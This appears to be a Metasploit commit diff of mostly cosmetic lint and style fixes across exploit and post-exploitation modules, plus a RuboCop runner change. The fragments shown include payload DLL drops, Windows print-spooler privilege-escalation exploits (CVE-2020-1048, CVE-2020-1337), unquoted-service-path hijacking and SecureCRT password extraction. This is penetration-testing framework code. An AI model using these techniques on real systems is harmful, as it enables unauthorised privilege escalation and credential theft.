upload_payload_pathname = session.sys.config.getenv('TEMP') + '\\' + Rex::Text.rand_text_alpha(6..13) + '.dll'
|
||||
exploit_dir = datastore['EXPLOIT_DIR'] || "#{temp_dir}\\#{Rex::Text.rand_text_alpha(6..13)}"
|
||||
upload_payload_pathname = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
|
||||
payload_dll = generate_payload_dll
|
||||
print_status("Payload DLL is #{payload_dll.length} bytes long")
|
||||
|
||||
@@ -328,7 +328,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
# Launch RASDIAL
|
||||
vprint_status('Launching Rasdialer')
|
||||
rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname
|
||||
rasdial_cmd = "rasdial VPNTEST test test /PHONEBOOK:#{upload_phonebook_pathname}"
|
||||
print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
|
||||
output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
|
||||
vprint_status(output)
|
||||
|
||||
@@ -243,7 +243,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
payload_dll = generate_payload_dll
|
||||
print_status("Payload DLL is #{payload_dll.length} bytes long")
|
||||
temp_directory = session.sys.config.getenv('%TEMP%')
|
||||
malicious_dll_location = "#{temp_directory}\\" + Rex::Text.rand_text_alpha(6..13) + '.dll'
|
||||
malicious_dll_location = "#{temp_directory}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
|
||||
write_file(malicious_dll_location, payload_dll)
|
||||
register_file_for_cleanup(malicious_dll_location)
|
||||
|
||||
|
||||
@@ -68,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
])
|
||||
end
|
||||
|
||||
def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit = false)
|
||||
def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit: false)
|
||||
# Upload Exploit
|
||||
if target_arch == ARCH_X86
|
||||
vprint_status('Using x86 binary')
|
||||
|
||||
@@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
sysinfo_value = sysinfo['OS']
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
|
||||
vprint_status("Build Number = #{build_num}")
|
||||
if sysinfo_value =~ /10/ && (17763 < build_num) && (build_num <= 19041)
|
||||
if sysinfo_value =~ /10/ && (build_num > 17763) && (build_num <= 19041)
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
@@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
validate_payload
|
||||
|
||||
# Run the exploit
|
||||
output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll))
|
||||
_output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll))
|
||||
sleep(3) # make sure exploit is finished
|
||||
|
||||
# Reboot, if desired
|
||||
|
||||
@@ -120,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
# Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).
|
||||
# This only affects the recv(), not connect().
|
||||
handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)
|
||||
_handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)
|
||||
|
||||
# Set the socket address structure to localhost:9978.
|
||||
sock_addr = "\x02\x00"
|
||||
|
||||
@@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
path = expand_path('%WINDIR%\\system32\\win32k.sys')
|
||||
major, minor, build, revision, brand = file_version(path)
|
||||
_major, _minor, _build, revision, _brand = file_version(path)
|
||||
return CheckCode::Safe if revision >= 24387
|
||||
|
||||
CheckCode::Appears
|
||||
|
||||
@@ -70,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
def check
|
||||
services = enum_vuln_services(datastore['QUICK'])
|
||||
services = enum_vuln_services(quick: datastore['QUICK'])
|
||||
if services.empty?
|
||||
return CheckCode::Safe
|
||||
end
|
||||
@@ -115,7 +115,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
potential_paths
|
||||
end
|
||||
|
||||
def enum_vuln_services(quick = false)
|
||||
def enum_vuln_services(quick: false)
|
||||
vuln_services = []
|
||||
|
||||
each_service do |service|
|
||||
@@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
# path needs to have double, not single quotes
|
||||
c = %(cmd.exe /C echo '#{words}' >> "#{f}" && type "#{f}" && del "#{f}")
|
||||
cmd_exec(c).to_s.include? words
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
rescue Rex::Post::Meterpreter::RequestError => _e
|
||||
false
|
||||
end
|
||||
end
|
||||
@@ -162,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
# Exploit the first service found
|
||||
#
|
||||
print_status('Finding a vulnerable service...')
|
||||
svrs_list = enum_vuln_services(datastore['QUICK'])
|
||||
svrs_list = enum_vuln_services(quick: datastore['QUICK'])
|
||||
|
||||
fail_with(Failure::NotVulnerable, 'No service found with trusted path issues') if svrs_list.empty?
|
||||
|
||||
@@ -177,6 +177,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
#
|
||||
# Drop the malicious executable into the path
|
||||
#
|
||||
# rubocop:disable Lint/UnreachableLoop
|
||||
potential_paths.each do |path|
|
||||
exe_path = "#{path}.exe"
|
||||
print_status("Placing #{exe_path} for #{svr_name}")
|
||||
@@ -193,8 +194,10 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
unless service_restart(svr_name)
|
||||
print_error 'Unable to restart service. System reboot or an admin restarting the service is required. Payload left on disk!!!'
|
||||
end
|
||||
|
||||
break
|
||||
end
|
||||
# rubocop:enable Lint/UnreachableLoop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -349,7 +349,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
while i < final.length
|
||||
|
||||
if name == 1 && !(final[i].to_i > 0)
|
||||
if name == 1 && final[i].to_i <= 0
|
||||
result['name'] = final[i]
|
||||
name = 0
|
||||
check += 1
|
||||
|
||||
@@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_good("#{peer} - Got a path to drop our shell: #{shell_path}")
|
||||
|
||||
# Start http server for project copy callback
|
||||
http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
|
||||
http_service = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
|
||||
print_status("#{peer} - Starting up our web service on #{http_service} ...")
|
||||
|
||||
start_service({
|
||||
|
||||
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
# Count the number of currently running containers
|
||||
def count_containers(container_type, count_inactive = true)
|
||||
def count_containers(container_type, count_inactive: true)
|
||||
case container_type
|
||||
when 'docker'
|
||||
command = if count_inactive
|
||||
@@ -93,11 +93,13 @@ class MetasploitModule < Msf::Post
|
||||
when 'lxc'
|
||||
# LXC does some awful table formatting, lets try and fix it to be more uniform
|
||||
result = cmd_exec('lxc list').each_line.reject { |st| st =~ /^\+--/ }.map.with_index.map do |s, i|
|
||||
# rubocop:disable Style/StringConcatenation
|
||||
if i == 0
|
||||
s.split('| ').map { |t| t.strip.ljust(t.size, ' ').gsub(/\|/, '') }.join + "\n"
|
||||
else
|
||||
s.gsub(/\| /, '').gsub(/\|/, '')
|
||||
end
|
||||
# rubocop:enable Style/StringConcatenation
|
||||
end.join.strip
|
||||
when 'rkt'
|
||||
result = cmd_exec('rkt list')
|
||||
@@ -153,12 +155,12 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
platforms.each do |platform|
|
||||
print_good("#{platform} was found on the system!")
|
||||
num_containers = count_containers(platform, false)
|
||||
num_containers = count_containers(platform, count_inactive: false)
|
||||
|
||||
if num_containers == 0
|
||||
print_error("No active or inactive containers were found for #{platform}\n")
|
||||
else
|
||||
num_running_containers = count_containers(platform, true)
|
||||
num_running_containers = count_containers(platform, count_inactive: true)
|
||||
print_good("#{platform}: #{num_running_containers} Running Containers / #{num_containers} Total")
|
||||
end
|
||||
|
||||
|
||||
@@ -46,6 +46,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
end
|
||||
|
||||
# rubocop:disable Metrics/MethodLength
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri =~ %r{/screenshot$}
|
||||
data = ''
|
||||
@@ -387,4 +388,5 @@ input {
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
|
||||
end
|
||||
end
|
||||
# rubocop:enable Metrics/MethodLength
|
||||
end
|
||||
|
||||
@@ -114,11 +114,13 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
# loop to ensure we get all content within the 5 sec window
|
||||
# rubocop:disable Lint/AssignmentInCondition
|
||||
loop do
|
||||
break unless out_tmp = session.shell_read
|
||||
|
||||
cmd_out << out_tmp
|
||||
end
|
||||
# rubocop:enable Lint/AssignmentInCondition
|
||||
|
||||
print_status("Gathering info from #{command}")
|
||||
cmd_loc = store_loot("F5.#{ec['fn']}",
|
||||
@@ -128,7 +130,7 @@ class MetasploitModule < Msf::Post
|
||||
"#{ec['fn']}.txt",
|
||||
ec['desc'])
|
||||
vprint_good("Saving to #{cmd_loc}")
|
||||
f5_config_eater(host, port, cmd_out.strip, store = false)
|
||||
f5_config_eater(host, port, cmd_out.strip, false)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -192,7 +194,7 @@ class MetasploitModule < Msf::Post
|
||||
"#{ec['fn']}.txt",
|
||||
ec['desc'])
|
||||
vprint_good("Saving to #{cmd_loc}")
|
||||
f5_config_eater(host, port, cmd_out.strip, store = false)
|
||||
f5_config_eater(host, port, cmd_out.strip, false)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -87,7 +87,7 @@ class MetasploitModule < Msf::Post
|
||||
password = decrypted_script[/[p]*assword:\x1F(?<password>[\S]+)\x1F/u, 'password']
|
||||
domain = decrypted_script[/[Ww]*indows [Dd]*omain:\x1F(?<domain>[\S]+)\x1F/u, 'domain']
|
||||
if !domain.nil? && !username.nil?
|
||||
username = domain + '\\' + username
|
||||
username = "#{domain}\\#{username}"
|
||||
end
|
||||
else
|
||||
password = securecrt_crypto(file[/"Password"=u(?<password>[0-9a-f]+)/u, 'password'])
|
||||
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Post
|
||||
parent_key = 'HKEY_CURRENT_USER\\Software\\VanDyke\\SecureCRT'
|
||||
# get session file path
|
||||
root_path = registry_getvaldata(parent_key, 'Config Path')
|
||||
securecrt_path = expand_path(root_path + session.fs.file.separator + 'Sessions') if !root_path.to_s.empty?
|
||||
securecrt_path = expand_path("#{root_path}#{session.fs.file.separator}Sessions") if !root_path.to_s.empty?
|
||||
else
|
||||
securecrt_path = expand_path(datastore['SESSION_PATH'])
|
||||
end
|
||||
|
||||
@@ -52,7 +52,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
def enable_master_passwd?(version_6_path)
|
||||
file_name = expand_path(version_6_path + '\\Common\\MasterPassword.mpw')
|
||||
file_name = expand_path("#{version_6_path}\\Common\\MasterPassword.mpw")
|
||||
file_contents = read_file(file_name) if session.fs.file.exist?(file_name)
|
||||
if file_contents.nil? || file_contents.empty?
|
||||
return false
|
||||
|
||||
@@ -113,7 +113,7 @@ class MetasploitModule < Msf::Post
|
||||
if process_name.split(//).last(4).join.eql? '.exe'
|
||||
out_process_name = process_name
|
||||
else
|
||||
process_name + '.exe'
|
||||
"#{process_name}.exe"
|
||||
end
|
||||
out_process_name
|
||||
end
|
||||
@@ -276,7 +276,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
break if output.nil? || output.empty?
|
||||
end
|
||||
rescue Rex::TimeoutError => e
|
||||
rescue Rex::TimeoutError => _e
|
||||
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
|
||||
rescue ::StandardError => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
|
||||
@@ -42,8 +42,8 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
def run
|
||||
python_folder_path = File.basename(datastore['FILE_PATH'], File.extname(datastore['FILE_PATH']))
|
||||
python_exe_path = python_folder_path + '\\python.exe'
|
||||
python_url = datastore['PYTHON_URL'] + datastore['PYTHON_VERSION'] + '/python-' + datastore['PYTHON_VERSION'] + '-embed-win32.zip'
|
||||
python_exe_path = "#{python_folder_path}\\python.exe"
|
||||
python_url = "#{datastore['PYTHON_URL']}#{datastore['PYTHON_VERSION']}/python-#{datastore['PYTHON_VERSION']}-embed-win32.zip"
|
||||
|
||||
# check if PowerShell is available
|
||||
psh_path = '\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
|
||||
@@ -60,7 +60,8 @@ class RuboCopRunner
|
||||
|
||||
rubocop = RuboCop::CLI.new
|
||||
args = %w[--format simple]
|
||||
args << '-a' if options[:autocorrect]
|
||||
args << '-a' if options[:auto_correct]
|
||||
args << '-A' if options[:auto_correct_all]
|
||||
args << full_filepath
|
||||
rubocop_result = rubocop.run(args)
|
||||
|
||||
@@ -946,8 +947,12 @@ if __FILE__ == $PROGRAM_NAME
|
||||
return print(opts.help)
|
||||
end
|
||||
|
||||
opts.on('-a', '--auto-correct', 'Auto-correct offenses (only when safe).') do |autocorrect|
|
||||
options[:autocorrect] = autocorrect
|
||||
opts.on('-a', '--auto-correct', 'Auto-correct offenses (only when safe).') do |auto_correct|
|
||||
options[:auto_correct] = auto_correct
|
||||
end
|
||||
|
||||
opts.on('-A', '--auto-correct-all', 'Auto-correct offenses (safe and unsafe).') do |auto_correct_all|
|
||||
options[:auto_correct_all] = auto_correct_all
|
||||
end
|
||||
end
|
||||
options_parser.parse!
|
||||
|
||||
Reference in New Issue
Block a user